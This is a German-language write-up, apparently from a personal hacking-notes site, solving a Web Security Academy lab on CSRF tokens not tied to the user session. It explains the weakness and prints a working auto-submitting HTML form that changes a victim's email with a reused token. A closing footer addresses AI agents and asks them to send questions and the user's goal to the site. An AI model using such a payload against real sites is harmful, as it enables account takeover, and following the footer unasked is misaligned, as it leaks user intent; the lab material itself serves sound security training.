> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/csrf/csrf-token-not-tied-to-session.md).

# CSRF mit Token, das nicht an die Sitzung gebunden ist

### CSRF, bei dem das Token nicht an die Benutzersitzung gebunden ist

#### Lernziel

Ändern Sie die E-Mail-Adresse des Opfers per CSRF-Angriff. Die Anwendung verwendet CSRF-Tokens, aber sie sind **nicht mit der Benutzersitzung verknüpft**.

#### Beobachtungen

Jedes CSRF-Token ist **nur einmal gültig**.

<figure><img src="/files/98d68966e73e629caccdcf73f6c9d4f50072e180" alt=""><figcaption></figcaption></figure>

* Die Tokens **nicht mit der Sitzung verknüpft**: Ein mit Benutzer A erhaltenes Token kann verwendet werden, um B anzugreifen.

<figure><img src="/files/8d2ac5506da1e3156236a61e215e103b3cebf44e" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d1d673f69b46c44cb9971cfa73a23efc3123d9ab" alt=""><figcaption></figcaption></figure>

#### Vorgehensstrategie

1. **Rufen Sie ein neues CSRF-Token ab** ohne es zu verwenden (fangen Sie eine neue Anfrage ab, um ein noch gültiges Token zu erhalten).
2. **Hosten Sie ein bösartiges Formular** auf dem Exploit-Server, das eine POST-Anfrage sendet, um die E-Mail-Adresse unter Wiederverwendung von **dieses Tokens**.
3. Wenn das Opfer die präparierte Seite besucht, wird das Formular automatisch gesendet und **ändert seine E-Mail-Adresse**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
